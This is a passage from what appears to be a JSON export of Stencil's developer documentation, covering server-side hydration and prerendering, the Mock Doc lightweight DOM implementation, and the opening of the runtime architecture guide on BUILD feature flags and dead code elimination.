hydrateAppDirPath = path.join(config.packageDir, 'hydrate');\n  \n  // Bundle all components for Node.js\n  const rollupConfig = {\n    input: '@hydrate-entry',\n    output: {\n      format: 'commonjs',\n      file: path.join(hydrateAppDirPath, 'index.js')\n    },\n    plugins: [\n      hydratePlatformPlugin(),\n      nodeResolve({ preferBuiltins: true }),\n      commonjs()\n    ]\n  };\n  \n  const bundle = await rollup(rollupConfig);\n  await bundle.write(rollupConfig.output);\n};\n```\n\n### Entry Point\n\nGenerated hydrate app exports:\n\n```typescript\n// hydrate/index.js\nmodule.exports = {\n  hydrateDocument,\n  renderToString,\n  createWindowFromHtml,\n  serializeNodeToHtml\n};\n```\n\n## Core APIs\n\n### hydrateDocument\n\n**Location:** [`src/hydrate/runner/hydrate-document.ts`](../src/hydrate/runner/hydrate-document.ts)\n\nHydrates an entire document:\n\n```typescript\nexport const hydrateDocument = async (\n  doc: Document,\n  options: HydrateDocumentOptions = {}\n): Promise<HydrateResults> => {\n  const results: HydrateResults = {\n    diagnostics: [],\n    url: options.url || doc.location.href,\n    title: doc.title,\n    components: [],\n    anchors: [],\n    styles: [],\n    scripts: [],\n    imgs: []\n  };\n  \n  try {\n    // Set up hydration context\n    const hydrateContext = createHydrateContext(doc, options);\n    \n    // Find and hydrate all components\n    await hydrateComponents(doc.documentElement, hydrateContext);\n    \n    // Wait for all async operations\n    await waitForComponents(hydrateContext);\n    \n    // Serialize back to HTML\n    results.html = serializeDocumentToString(doc, options);\n    \n  } catch (e) {\n    results.diagnostics.push({\n      level: 'error',\n      type: 'hydrate',\n      header: 'Hydrate Error',\n      messageText: e.message\n    });\n  }\n  \n  return results;\n};\n```\n\n### renderToString\n\n**Location:** [`src/hydrate/runner/render-to-string.ts`](../src/hydrate/runner/render-to-string.ts)\n\nRenders a component to HTML string:\n\n```typescript\nexport const renderToString = async (\n  html: string,\n  options: RenderToStringOptions = {}\n): Promise<RenderToStringResults> => {\n  // Create document from HTML\n  const doc = createDocument(html);\n  \n  // Hydrate the document\n  const hydrateResults = await hydrateDocument(doc, options);\n  \n  return {\n    html: hydrateResults.html,\n    diagnostics: hydrateResults.diagnostics\n  };\n};\n```\n\n## Hydration Process\n\n### Component Discovery\n\n**Location:** [`src/hydrate/runner/hydrate-component.ts`](../src/hydrate/runner/hydrate-component.ts)\n\nFinding components to hydrate:\n\n```typescript\nconst hydrateComponents = async (\n  node: Node,\n  context: HydrateContext\n) => {\n  if (node.nodeType === NODE_TYPE.ElementNode) {\n    const element = node as Element;\n    const tagName = element.tagName.toLowerCase();\n    \n    if (context.registeredComponents.has(tagName)) {\n      // Hydrate this component\n      await hydrateComponent(element, context);\n    }\n    \n    // Recursively hydrate children\n    for (const child of Array.from(element.childNodes)) {\n      await hydrateComponents(child, context);\n    }\n  }\n};\n```\n\n### Component Hydration\n\nServer-side component rendering:\n\n```typescript\nconst hydrateComponent = async (\n  element: Element,\n  context: HydrateContext\n) => {\n  const tagName = element.tagName.toLowerCase();\n  const Cstr = context.components[tagName];\n  \n  // Create host reference\n  const hostRef = createHostRef(element);\n  \n  // Add hydration id\n  const hydrationId = context.nextHydrationId++;\n  element.setAttribute('s-id', hydrationId);\n  \n  // Create component instance\n  const instance = new Cstr();\n  hostRef.$lazyInstance$ = instance;\n  \n  // Run lifecycle\n  await initializeComponent(element, hostRef);\n  \n  // Add to hydration registry\n  context.hydratedComponents.set(hydrationId, {\n    element,\n    instance,\n    hostRef\n  });\n};\n```\n\n## Hydration Markers\n\n### Comment Nodes\n\nMarkers for client hydration:\n\n```typescript\nconst addHydrationMarkers = (\n  element: Element,\n  hydrationId: string\n) => {\n  // Start marker\n  const startComment = element.ownerDocument.createComment(`s:${hydrationId}`);\n  element.parentNode.insertBefore(startComment, element);\n  \n  // End marker\n  const endComment = element.ownerDocument.createComment(`e:${hydrationId}`);\n  element.parentNode.insertBefore(endComment, element.nextSibling);\n  \n  // Child markers for slots\n  element.childNodes.forEach((child, index) => {\n    if (child.nodeType === NODE_TYPE.ElementNode) {\n      child.setAttribute('c-id', `${hydrationId}.${index}`);\n    }\n  });\n};\n```\n\n### Slot Content\n\nPreserving slotted content:\n\n```typescript\nconst serializeSlotContent = (\n  slot: HTMLSlotElement,\n  hydrationId: string\n) => {\n  const assignedNodes = slot.assignedNodes();\n  \n  assignedNodes.forEach((node, index) => {\n    // Mark original position\n    const marker = document.createComment(`t:${hydrationId}.${index}`);\n    node.parentNode.insertBefore(marker, node);\n  });\n};\n```\n\n## Async Rendering\n\n### Waiting for Components\n\nHandling async operations:\n\n```typescript\nconst waitForComponents = async (context: HydrateContext) => {\n  const promises: Promise<any>[] = [];\n  \n  // Collect all pending operations\n  context.hydratedComponents.forEach(({ instance }) => {\n    if (instance.componentWillLoad) {\n      promises.push(instance.componentWillLoad());\n    }\n  });\n  \n  // Wait with timeout\n  if (promises.length > 0) {\n    await Promise.race([\n      Promise.all(promises),\n      timeout(context.options.timeout || 15000)\n    ]);\n  }\n};\n```\n\n### Streaming Support\n\nProgressive hydration:\n\n```typescript\nexport const renderToStream = (\n  html: string,\n  options: RenderToStreamOptions\n): ReadableStream => {\n  const encoder = new TextEncoder();\n  \n  return new ReadableStream({\n    async start(controller) {\n      const doc = createDocument(html);\n      const context = createHydrateContext(doc, options);\n      \n      // Stream initial HTML\n      controller.enqueue(encoder.encode('<!DOCTYPE html>\\n'));\n      \n      // Hydrate and stream components\n      await streamComponents(doc.documentElement, context, controller);\n      \n      controller.close();\n    }\n  });\n};\n```\n\n## Prerendering\n\n### Static Site Generation\n\nGenerating static pages:\n\n```typescript\nexport const prerenderPages = async (\n  config: PrerenderConfig\n): Promise<PrerenderResults> => {\n  const results: PrerenderResults = {\n    diagnostics: [],\n    urls: []\n  };\n  \n  // Start dev server\n  const devServer = await startDevServer(config);\n  \n  // Crawl and render pages\n  const crawler = createCrawler(config);\n  const urlsToRender = await crawler.discoverUrls(config.entryUrls);\n  \n  for (const url of urlsToRender) {\n    const page = await renderPage(devServer, url, config);\n    \n    // Write to disk\n    await writePage(page, config);\n    \n    results.urls.push({\n      url: page.url,\n      filePath: page.filePath\n    });\n  }\n  \n  await devServer.close();\n  return results;\n};\n```\n\n### URL Discovery\n\nFinding pages to prerender:\n\n```typescript\nconst discoverUrls = async (\n  entryUrls: string[],\n  config: PrerenderConfig\n): Promise<Set<string>> => {\n  const discovered = new Set<string>(entryUrls);\n  const toVisit = [...entryUrls];\n  \n  while (toVisit.length > 0) {\n    const url = toVisit.shift();\n    const page = await fetchPage(url);\n    \n    // Extract links\n    const links = extractLinks(page.html);\n    \n    for (const link of links) {\n      if (shouldPrerender(link, config) && !discovered.has(link)) {\n        discovered.add(link);\n        toVisit.push(link);\n      }\n    }\n  }\n  \n  return discovered;\n};\n```\n\n## Performance Optimization\n\n### Component Caching\n\nReusing component instances:\n\n```typescript\nclass ComponentCache {\n  private cache = new Map<string, ComponentConstructor>();\n  \n  get(tagName: string): ComponentConstructor {\n    if (!this.cache.has(tagName)) {\n      const Cstr = loadComponent(tagName);\n      this.cache.set(tagName, Cstr);\n    }\n    return this.cache.get(tagName);\n  }\n  \n  clear() {\n    this.cache.clear();\n  }\n}\n```\n\n### Parallel Rendering\n\nConcurrent component hydration:\n\n```typescript\nconst hydrateComponentsParallel = async (\n  elements: Element[],\n  context: HydrateContext\n) => {\n  const chunks = chunkArray(elements, 10);\n  \n  for (const chunk of chunks) {\n    await Promise.all(\n      chunk.map(element => hydrateComponent(element, context))\n    );\n  }\n};\n```\n\n## Client Hydration\n\n### Hydration on Client\n\nReconnecting server-rendered components:\n\n```typescript\nconst clientHydrate = (\n  elm: HTMLElement,\n  cmpMeta: ComponentRuntimeMeta\n) => {\n  const hydrationId = elm.getAttribute('s-id');\n  \n  if (hydrationId) {\n    // Find server-rendered vdom\n    const serverVNode = parseServerVNode(elm, hydrationId);\n    \n    // Create host ref with existing vdom\n    const hostRef = getHostRef(elm);\n    hostRef.$vnode$ = serverVNode;\n    \n    // Mark as hydrated\n    hostRef.$flags$ |= HOST_FLAGS.hasHydrated;\n  }\n};\n```\n\n## Configuration\n\n### Hydrate Options\n\n**Location:** [`src/declarations/stencil-public-runtime.ts`](../src/declarations/stencil-public-runtime.ts)\n\n```typescript\ninterface HydrateDocumentOptions {\n  url?: string;\n  userAgent?: string;\n  cookie?: string;\n  referrer?: string;\n  direction?: string;\n  language?: string;\n  buildId?: string;\n  clientHydrateAnnotations?: boolean;\n  constrainTimeouts?: boolean;\n  timeout?: number;\n  staticComponents?: string[];\n  maxHydrateCount?: number;\n  hydrateComponents?: string[];\n  excludeComponents?: string[];\n}\n```\n\n### Prerender Config\n\n**Location:** [`src/declarations/stencil-public-compiler.ts`](../src/declarations/stencil-public-compiler.ts)\n\n```typescript\ninterface PrerenderConfig {\n  entryUrls: string[];\n  hydrateOptions?: HydrateDocumentOptions;\n  robotsTxt?: (opts: RobotsTxtOpts) => string;\n  sitemapXml?: (opts: SitemapXmpOpts) => string;\n  baseUrl?: string;\n  canonicalUrl?: (url: URL) => string | null;\n  crawlUrls?: boolean;\n  trailingSlash?: boolean;\n  normalizeUrl?: boolean;\n  filter?: (url: URL) => boolean;\n}\n```\n\n## Testing\n\n### Hydrate Testing\n\n```typescript\ndescribe('hydrate', () => {\n  it('should render component', async () => {\n    const { html } = await renderToString(\n      '<my-component name=\"Test\"></my-component>'\n    );\n    \n    expect(html).toContain('s-id=\"');\n    expect(html).toContain('Hello, Test');\n  });\n  \n  it('should handle async components', async () => {\n    const { html } = await renderToString(\n      '<async-component></async-component>',\n      { timeout: 5000 }\n    );\n    \n    expect(html).toContain('Loaded data');\n  });\n});\n```\n\n## Common Issues\n\n### Memory Leaks\n\n**Location:** [`src/hydrate/runner/window-finalize.ts`](../src/hydrate/runner/window-finalize.ts)\n\nProper cleanup:\n\n```typescript\nconst cleanup = (context: HydrateContext) => {\n  // Clear component instances\n  context.hydratedComponents.forEach(({ instance }) => {\n    if (instance.disconnectedCallback) {\n      instance.disconnectedCallback();\n    }\n  });\n  \n  // Clear caches\n  context.componentCache.clear();\n  context.hydratedComponents.clear();\n  \n  // Remove global references\n  delete global.document;\n  delete global.window;\n};\n```\n\n### Infinite Loops\n\nPreventing render loops:\n\n```typescript\nconst MAX_HYDRATE_DEPTH = 300;\n\nconst hydrateWithDepthCheck = async (\n  element: Element,\n  context: HydrateContext,\n  depth = 0\n) => {\n  if (depth > MAX_HYDRATE_DEPTH) {\n    throw new Error('Maximum hydration depth exceeded');\n  }\n  \n  await hydrateComponent(element, context);\n};\n```\n\n## User Limitations and Best Practices\n\n### Performance Considerations\n\nWhen using SSR with Shadow DOM, styles are duplicated for each component instance:\n\n```typescript\n// Avoid rendering many instances of components with large styles\n// Instead, use scoped mode for frequently used components:\nexport default stencilSSR({\n  serializeShadowRoot: {\n    scoped: ['my-button', 'my-icon'], // Render as scoped\n    default: 'declarative-shadow-dom'\n  },\n});\n```\n\n### Non-Primitive Parameters\n\nAvoid complex objects in SSR unless using runtime approach:\n\n```typescript\n// ❌ Won't work with compiler-based SSR\nconst menu = generateMenuData();\n<MyComponent data={menu} />\n\n// ✅ Use static data or runtime SSR\nconst menu = { items: ['Home', 'About'] };\n<MyComponent data={menu} />\n```\n\n### Cross-Component State\n\nComponents rendered in SSR shouldn't depend on parent state:\n\n```typescript\n// ❌ Child won't have access to parent context in SSR\n<ParentComponent>\n  <ChildComponent />\n</ParentComponent>\n\n// ✅ Pass data explicitly\n<ParentComponent>\n  <ChildComponent data={parentData} />\n</ParentComponent>\n```\n\n### Slot Limitations\n\nSlots can be problematic with certain SSR approaches:\n- Compiler-based SSR may have issues with complex slot content\n- Runtime SSR handles slots better but with performance cost\n- Consider using props instead of slots for SSR-heavy components\n\n## Future Improvements\n\n1. **Streaming SSR**: True streaming with Suspense\n2. **Partial Hydration**: Hydrate only interactive components  \n3. **Edge SSR**: Deploy to edge workers\n4. **Component Islands**: Better hydration boundaries\n5. **Build-time SSG**: Faster static generation "
  },
  {
    "path": "docs/mock-doc.md",
    "content": "# Mock Doc Architecture\n\nMock Doc provides a lightweight DOM implementation for server-side rendering in Node.js environments. It implements just enough of the DOM and Web APIs to enable Stencil components to render without a real browser.\n\n**Location:** [`src/mock-doc/`](../src/mock-doc/)\n\n## Architecture Overview\n\n```mermaid\ngraph TD\n    subgraph \"Mock Doc Core\"\n        Document[MockDocument] --> Elements[Element Classes]\n        Document --> Window[MockWindow]\n        Window --> APIs[Web APIs]\n    end\n    \n    subgraph \"DOM Implementation\"\n        Elements --> HTMLElement[MockHTMLElement]\n        Elements --> TextNode[MockTextNode]\n        Elements --> Comment[MockComment]\n        HTMLElement --> SpecialElements[Specialized Elements]\n    end\n    \n    subgraph \"Parser/Serializer\"\n        Parser[HTML Parser] --> DOM[DOM Tree]\n        DOM --> Serializer[HTML Serializer]\n    end\n```\n\n## Core Implementation\n\n### Mock Window\n\n**Location:** [`src/mock-doc/window.ts`](../src/mock-doc/window.ts)\n\nGlobal object with browser APIs:\n\n```typescript\nexport class MockWindow implements Window {\n  document: MockDocument;\n  location: Location;\n  navigator: Navigator;\n  console: Console;\n  \n  // Timers\n  setTimeout = createTimer('setTimeout');\n  clearTimeout = createTimer('clearTimeout');\n  setInterval = createTimer('setInterval');\n  clearInterval = createTimer('clearInterval');\n  \n  // Animation\n  requestAnimationFrame = (cb: FrameRequestCallback) => {\n    return this.setTimeout(() => cb(Date.now()), 0);\n  };\n  \n  // Storage\n  localStorage = new MockStorage();\n  sessionStorage = new MockStorage();\n  \n  // Events\n  addEventListener = createEventListener(this);\n  removeEventListener = removeEventListener(this);\n  dispatchEvent = dispatchEvent(this);\n  \n  // Constructors\n  CustomEvent = MockCustomEvent;\n  Event = MockEvent;\n  KeyboardEvent = MockKeyboardEvent;\n  MouseEvent = MockMouseEvent;\n}\n```\n\n### Mock Document\n\n**Location:** [`src/mock-doc/document.ts`](../src/mock-doc/document.ts)\n\nDocument implementation:\n\n```typescript\nexport class MockDocument extends MockNode implements Document {\n  documentElement: MockHTMLElement;\n  head: MockHTMLElement;\n  body: MockHTMLElement;\n  nodeType = NODE_TYPE.DocumentNode;\n  \n  constructor(html?: string) {\n    super(null, null);\n    \n    if (html) {\n      this.parse(html);\n    } else {\n      this.createDefaultStructure();\n    }\n  }\n  \n  createElement(tagName: string): MockElement {\n    tagName = tagName.toLowerCase();\n    \n    switch (tagName) {\n      case 'a': return new MockAnchorElement(this);\n      case 'form': return new MockFormElement(this);\n      case 'img': return new MockImageElement(this);\n      case 'input': return new MockInputElement(this);\n      case 'script': return new MockScriptElement(this);\n      case 'style': return new MockStyleElement(this);\n      case 'template': return new MockTemplateElement(this);\n      default: return new MockHTMLElement(this, tagName);\n    }\n  }\n  \n  createTextNode(text: string): MockTextNode {\n    return new MockTextNode(this, text);\n  }\n  \n  createComment(text: string): MockComment {\n    return new MockComment(this, text);\n  }\n  \n  createDocumentFragment(): MockDocumentFragment {\n    return new MockDocumentFragment(this);\n  }\n}\n```\n\n## Element Implementation\n\n### Base Element\n\n**Location:** [`src/mock-doc/element.ts`](../src/mock-doc/element.ts)\n\nCore element functionality:\n\n```typescript\nexport class MockElement extends MockNode implements Element {\n  attributes = new MockAttributeMap();\n  shadowRoot: MockShadowRoot | null = null;\n  \n  get tagName(): string {\n    return this.nodeName;\n  }\n  \n  getAttribute(name: string): string | null {\n    const attr = this.attributes.getNamedItem(name);\n    return attr ? attr.value : null;\n  }\n  \n  setAttribute(name: string, value: any) {\n    const attr = this.attributes.getNamedItem(name);\n    \n    if (attr) {\n      attr.value = String(value);\n    } else {\n      this.attributes.setNamedItem(new MockAttr(name, String(value)));\n    }\n    \n    // Special handling\n    this.attributeChanged(name, value);\n  }\n  \n  removeAttribute(name: string) {\n    this.attributes.removeNamedItem(name);\n    this.attributeChanged(name, null);\n  }\n  \n  attachShadow(opts: ShadowRootInit): MockShadowRoot {\n    if (this.shadowRoot) {\n      throw new Error('Element already has shadow root');\n    }\n    \n    this.shadowRoot = new MockShadowRoot(this, opts.mode);\n    return this.shadowRoot;\n  }\n}\n```\n\n### Specialized Elements\n\n#### Input Element\n\n**Location:** [`src/mock-doc/forms.ts`](../src/mock-doc/forms.ts)\n\nForm control implementation:\n\n```typescript\nexport class MockInputElement extends MockHTMLElement implements HTMLInputElement {\n  private _value = '';\n  private _checked = false;\n  \n  get value(): string {\n    return this._value;\n  }\n  \n  set value(val: string) {\n    this._value = String(val);\n    this.dispatchEvent(new Event('input', { bubbles: true }));\n  }\n  \n  get checked(): boolean {\n    return this._checked;\n  }\n  \n  set checked(val: boolean) {\n    this._checked = Boolean(val);\n    this.dispatchEvent(new Event('change', { bubbles: true }));\n  }\n  \n  focus() {\n    this.dispatchEvent(new FocusEvent('focus'));\n  }\n  \n  blur() {\n    this.dispatchEvent(new FocusEvent('blur'));\n  }\n}\n```\n\n#### Style Element\n\n**Location:** [`src/mock-doc/css-style-declaration.ts`](../src/mock-doc/css-style-declaration.ts)\n\nCSS handling:\n\n```typescript\nexport class MockStyleElement extends MockHTMLElement {\n  sheet: MockCSSStyleSheet;\n  \n  constructor(ownerDocument: MockDocument) {\n    super(ownerDocument, 'style');\n    this.sheet = new MockCSSStyleSheet(this);\n  }\n  \n  get innerHTML(): string {\n    return this.sheet.cssText;\n  }\n  \n  set innerHTML(cssText: string) {\n    this.sheet.cssText = cssText;\n    // Parse and apply styles\n    this.sheet.parse();\n  }\n}\n```\n\n## Node Operations\n\n### Tree Manipulation\n\n**Location:** [`src/mock-doc/node.ts`](../src/mock-doc/node.ts)\n\nDOM tree operations:\n\n```typescript\nexport abstract class MockNode implements Node {\n  parentNode: MockNode | null = null;\n  childNodes: MockNode[] = [];\n  \n  appendChild<T extends Node>(node: T): T {\n    // Remove from current parent\n    if (node.parentNode) {\n      node.parentNode.removeChild(node);\n    }\n    \n    // Add to this node\n    this.childNodes.push(node as any);\n    (node as any).parentNode = this;\n    \n    // Connect callback\n    connectNode(this.ownerDocument, node);\n    \n    return node;\n  }\n  \n  insertBefore<T extends Node>(node: T, ref: Node | null): T {\n    if (!ref) {\n      return this.appendChild(node);\n    }\n    \n    const index = this.childNodes.indexOf(ref as any);\n    if (index === -1) {\n      throw new Error('Reference node is not a child');\n    }\n    \n    // Remove from current parent\n    if (node.parentNode) {\n      node.parentNode.removeChild(node);\n    }\n    \n    // Insert at position\n    this.childNodes.splice(index, 0, node as any);\n    (node as any).parentNode = this;\n    \n    connectNode(this.ownerDocument, node);\n    \n    return node;\n  }\n  \n  removeChild<T extends Node>(node: T): T {\n    const index = this.childNodes.indexOf(node as any);\n    if (index === -1) {\n      throw new Error('Node is not a child');\n    }\n    \n    // Remove from children\n    this.childNodes.splice(index, 1);\n    (node as any).parentNode = null;\n    \n    // Disconnect callback\n    disconnectNode(node);\n    \n    return node;\n  }\n}\n```\n\n## CSS Implementation\n\n### Style Sheet\n\n**Location:** [`src/mock-doc/css-style-sheet.ts`](../src/mock-doc/css-style-sheet.ts)\n\nBasic CSS parsing:\n\n```typescript\nexport class MockCSSStyleSheet {\n  cssRules: MockCSSRule[] = [];\n  \n  parse() {\n    this.cssRules = parseCss(this.cssText);\n  }\n  \n  insertRule(rule: string, index = this.cssRules.length) {\n    const parsed = parseCssRule(rule);\n    this.cssRules.splice(index, 0, parsed);\n    return index;\n  }\n  \n  deleteRule(index: number) {\n    this.cssRules.splice(index, 1);\n  }\n}\n```\n\n### Computed Styles\n\n**Location:** [`src/mock-doc/window.ts`](../src/mock-doc/window.ts) (getComputedStyle function)\n\nStyle calculation:\n\n```typescript\nconst getComputedStyle = (element: MockElement): CSSStyleDeclaration => {\n  const styles = new MockCSSStyleDeclaration();\n  \n  // Inline styles\n  Object.assign(styles, element.style);\n  \n  // Stylesheet rules\n  const rules = findMatchingRules(element);\n  rules.forEach(rule => {\n    Object.assign(styles, rule.style);\n  });\n  \n  return styles;\n};\n```\n\n## Event System\n\n### Event Dispatcher\n\n**Location:** [`src/mock-doc/event.ts`](../src/mock-doc/event.ts)\n\nEvent propagation:\n\n```typescript\nconst dispatchEvent = (target: EventTarget, event: Event): boolean => {\n  const eventPath = buildEventPath(target);\n  \n  // Capture phase\n  for (let i = eventPath.length - 1; i >= 0; i--) {\n    if (event.propagationStopped) break;\n    \n    const listeners = getEventListeners(eventPath[i], event.type, true);\n    listeners.forEach(listener => listener.call(eventPath[i], event));\n  }\n  \n  // Target phase\n  const targetListeners = getEventListeners(target, event.type, false);\n  targetListeners.forEach(listener => listener.call(target, event));\n  \n  // Bubble phase\n  if (event.bubbles && !event.propagationStopped) {\n    for (let i = 1; i < eventPath.length; i++) {\n      if (event.propagationStopped) break;\n      \n      const listeners = getEventListeners(eventPath[i], event.type, false);\n      listeners.forEach(listener => listener.call(eventPath[i], event));\n    }\n  }\n  \n  return !event.defaultPrevented;\n};\n```\n\n## HTML Parser\n\n### Parse Implementation\n\n**Location:** [`src/mock-doc/parse-html.ts`](../src/mock-doc/parse-html.ts)\n\nConvert HTML to DOM:\n\n```typescript\nexport const parseHtml = (html: string, doc: MockDocument) => {\n  const parser = new MockHTMLParser(doc);\n  return parser.parse(html);\n};\n\nclass MockHTMLParser {\n  constructor(private doc: MockDocument) {}\n  \n  parse(html: string): MockElement {\n    const tokens = tokenize(html);\n    const root = this.doc.createElement('div');\n    const stack: MockElement[] = [root];\n    \n    for (const token of tokens) {\n      switch (token.type) {\n        case 'startTag':\n          const element = this.doc.createElement(token.tagName);\n          token.attrs.forEach(([name, value]) => {\n            element.setAttribute(name, value);\n          });\n          \n          stack[stack.length - 1].appendChild(element);\n          \n          if (!isSelfClosing(token.tagName)) {\n            stack.push(element);\n          }\n          break;\n          \n        case 'endTag':\n          if (stack.length > 1) {\n            stack.pop();\n          }\n          break;\n          \n        case 'text':\n          const text = this.doc.createTextNode(token.content);\n          stack[stack.length - 1].appendChild(text);\n          break;\n      }\n    }\n    \n    return root;\n  }\n}\n```\n\n## HTML Serializer\n\n### Serialize to String\n\n**Location:** [`src/mock-doc/serialize-node.ts`](../src/mock-doc/serialize-node.ts)\n\nConvert DOM to HTML:\n\n```typescript\nexport const serializeNodeToHtml = (\n  node: Node,\n  opts: SerializeOptions = {}\n): string => {\n  switch (node.nodeType) {\n    case NODE_TYPE.ElementNode:\n      return serializeElement(node as Element, opts);\n    case NODE_TYPE.TextNode:\n      return serializeText(node as Text, opts);\n    case NODE_TYPE.CommentNode:\n      return serializeComment(node as Comment);\n    case NODE_TYPE.DocumentNode:\n      return serializeDocument(node as Document, opts);\n    case NODE_TYPE.DocumentFragmentNode:\n      return serializeFragment(node as DocumentFragment, opts);\n    default:\n      return '';\n  }\n};\n\nconst serializeElement = (element: Element, opts: SerializeOptions): string => {\n  const tagName = element.tagName.toLowerCase();\n  let html = `<${tagName}`;\n  \n  // Attributes\n  for (let i = 0; i < element.attributes.length; i++) {\n    const attr = element.attributes.item(i);\n    html += ` ${attr.name}=\"${escapeHtml(attr.value)}\"`;\n  }\n  \n  // Void elements\n  if (VOID_ELEMENTS.has(tagName)) {\n    return html + (opts.pretty ? ' />' : '>');\n  }\n  \n  html += '>';\n  \n  // Children\n  for (const child of element.childNodes) {\n    html += serializeNodeToHtml(child, opts);\n  }\n  \n  html += `</${tagName}>`;\n  \n  return html;\n};\n```\n\n## Performance Optimizations\n\n### String Building\n\n**Location:** [`src/mock-doc/serialize-node.ts`](../src/mock-doc/serialize-node.ts)\n\nEfficient HTML generation:\n\n```typescript\nclass StringBuilder {\n  private chunks: string[] = [];\n  \n  append(str: string) {\n    this.chunks.push(str);\n  }\n  \n  toString(): string {\n    return this.chunks.join('');\n  }\n}\n```\n\n### Node Caching\n\nReuse common nodes:\n\n```typescript\nconst nodeCache = new WeakMap<Node, CachedNodeData>();\n\ninterface CachedNodeData {\n  serializedHtml?: string;\n  computedStyle?: CSSStyleDeclaration;\n  eventListeners?: Map<string, EventListener[]>;\n}\n```\n\n## Testing\n\n### Mock Doc Tests\n\n**Location:** [`src/mock-doc/test/`](../src/mock-doc/test/)\n\n```typescript\ndescribe('MockDocument', () => {\n  it('should create elements', () => {\n    const doc = new MockDocument();\n    const div = doc.createElement('div');\n    \n    expect(div.tagName).toBe('DIV');\n    expect(div.ownerDocument).toBe(doc);\n  });\n  \n  it('should parse HTML', () => {\n    const doc = new MockDocument('<div id=\"test\">Hello</div>');\n    const div = doc.getElementById('test');\n    \n    expect(div).toBeDefined();\n    expect(div.textContent).toBe('Hello');\n  });\n  \n  it('should handle events', () => {\n    const doc = new MockDocument();\n    const button = doc.createElement('button');\n    let clicked = false;\n    \n    button.addEventListener('click', () => clicked = true);\n    button.click();\n    \n    expect(clicked).toBe(true);\n  });\n});\n```\n\n## Limitations\n\n### Not Implemented\n\nFeatures not in Mock Doc:\n- Layout calculations (getBoundingClientRect)\n- Canvas rendering\n- Media elements\n- Intersection Observer\n- Mutation Observer\n- Full CSSOM\n\n### Differences from Browser\n\n- No async script loading\n- Simplified event loop\n- Basic CSS parsing\n- No rendering pipeline\n"
  },
  {
    "path": "docs/runtime.md",
    "content": "# Runtime Architecture\n\nThe Stencil Runtime is the client-side engine that powers components in the browser. It handles component initialization, lifecycle management, rendering, and state updates with minimal overhead.\n\n**Location:**\n- [`src/client/`](../src/client/)\n- [`src/runtime/`](../src/runtime/)\n- [`src/internal/`](../src/internal/)\n\n## Table of Contents\n\n1. [The Magic of BUILD Conditionals](#the-magic-of-build-conditionals)\n2. [How the Compiler Analyzes Your Components](#how-the-compiler-analyzes-your-components)\n3. [Runtime Dead Code Elimination](#runtime-dead-code-elimination)\n4. [Architecture Overview](#architecture-overview)\n5. [Component Lifecycle](#component-lifecycle)\n6. [State Management](#state-management)\n7. [Virtual DOM](#virtual-dom)\n8. [Render Scheduling](#render-scheduling)\n9. [Lazy Loading](#lazy-loading)\n10. [Hydration](#hydration)\n11. [Event System](#event-system)\n12. [Method Decorators](#method-decorators)\n13. [Style Encapsulation](#style-encapsulation)\n14. [Performance Optimizations](#performance-optimizations)\n15. [Platform Abstraction](#platform-abstraction)\n16. [Testing](#testing)\n17. [Common Issues](#common-issues)\n\n---\n\n## The Magic of BUILD Conditionals\n\nHere's where Stencil gets clever. Unlike traditional frameworks that ship a monolithic runtime, Stencil analyzes your components at compile-time and creates a custom runtime containing only the features you actually use. It's like having a tailor-made suit instead of buying off the rack.\n\n### How It Works\n\nWhen you write a component like this:\n\n```typescript\n@Component({\n  tag: 'my-simple-button',\n  shadow: true\n})\nexport class MySimpleButton {\n  render() {\n    return <button>Click me</button>;\n  }\n}\n```\n\nThe compiler scans your component and realizes:\n- ✅ You need shadow DOM support\n- ✅ You need the render function\n- ❌ You don't use `@State` - no reactive state needed\n- ❌ You don't use `@Prop` - no property handling needed\n- ❌ You don't use `@Method` - no public method proxying needed\n- ❌ You don't use events - no event system needed\n\n### The BUILD Object\n\nAt the heart of this optimization is the `BUILD` object - a compile-time constant that acts as feature flags throughout the runtime:\n\n```typescript\n// Default BUILD object structure\n// See: src/app-data/index.ts\nexport const BUILD = {\n  allRenderFn: false,    // Do all components have render()?\n  asyncLoading: true,    // Enable async component loading?\n  event: false,          // Any components use events?\n  hasRenderFn: true,     // At least one component has render()?\n  lifecycle: false,      // Any lifecycle methods?\n  member: false,         // Props, state, or methods?\n  method: false,         // Any @Method decorators?\n  mode: false,           // Style modes enabled?\n  prop: false,           // Any @Prop decorators?\n  reflect: false,        // Props reflected to attributes?\n  scoped: false,         // Scoped CSS?\n  shadowDom: true,       // Shadow DOM?\n  state: false,          // Any @State decorators?\n  style: true,           // Components have styles?\n  svg: false,            // SVG support needed?\n  updatable: false,      // Can components update?\n  vdomAttribute: false,  // VDOM attributes?\n  vdomClass: false,      // VDOM class handling?\n  vdomKey: false,        // VDOM keys?\n  vdomListener: false,   // VDOM event listeners?\n  vdomRef: false,        // VDOM refs?\n  vdomRender: true,      // VDOM rendering?\n  vdomStyle: false,      // VDOM inline styles?\n  vdomText: true,        // VDOM text nodes?\n  watchCallback: false,  // @Watch decorators?\n};\n```\n\n### Dead Code Elimination in Action\n\nHere's where the magic happens. Throughout the runtime, you'll see code like:\n\n```typescript\n// From src/runtime/update-component.ts\nif (BUILD.updatable) {\n  // This entire block is removed if no components update\n  scheduleUpdate(hostRef, false);\n}\n\n// From src/runtime/initialize-component.ts\nif (BUILD.member && BUILD.lazyLoad) {\n  // Property handling only included if needed\n  initializeComponent(elm, hostRef, cmpMeta);\n}\n```\n\nWhen Rollup bundles your app, it evaluates these conditionals:\n- If `BUILD.updatable` is `false`, the entire update system is removed\n- If `BUILD.member` is `false`, property/state handling disappears\n- If `BUILD.method` is `false`, method proxying vanishes\n\nThis isn't just minification - it's complete code elimination!\n\n---\n\n## How the Compiler Analyzes Your Components\n\nThe journey begins in the TypeScript transformer pipeline. Let's trace how your component metadata influences the final runtime:\n\n### Step 1: Component Discovery\n\nWhen the compiler encounters your component, it extracts metadata:\n\n```typescript\n// src/compiler/transformers/component-build-conditionals.ts:5-48\nexport const setComponentBuildConditionals = (cmpMeta: ComponentCompilerMeta) => {\n  if (cmpMeta.properties.length > 0) {\n    cmpMeta.hasProp = true;\n    cmpMeta.hasPropMutable = cmpMeta.properties.some(p => p.mutable);\n    cmpMeta.hasReflect = cmpMeta.properties.some(p => p.reflect);\n    cmpMeta.hasPropBoolean = cmpMeta.properties.some(p => p.type === 'boolean');\n    cmpMeta.hasPropNumber = cmpMeta.properties.some(p => p.type === 'number');\n    cmpMeta.hasPropString = cmpMeta.properties.some(p => p.type === 'string');\n  }\n  \n  if (cmpMeta.states.length > 0) {\n    cmpMeta.hasState = true;\n  }\n  \n  if (cmpMeta.methods.length > 0) {\n    cmpMeta.hasMethod = true;\n  }\n 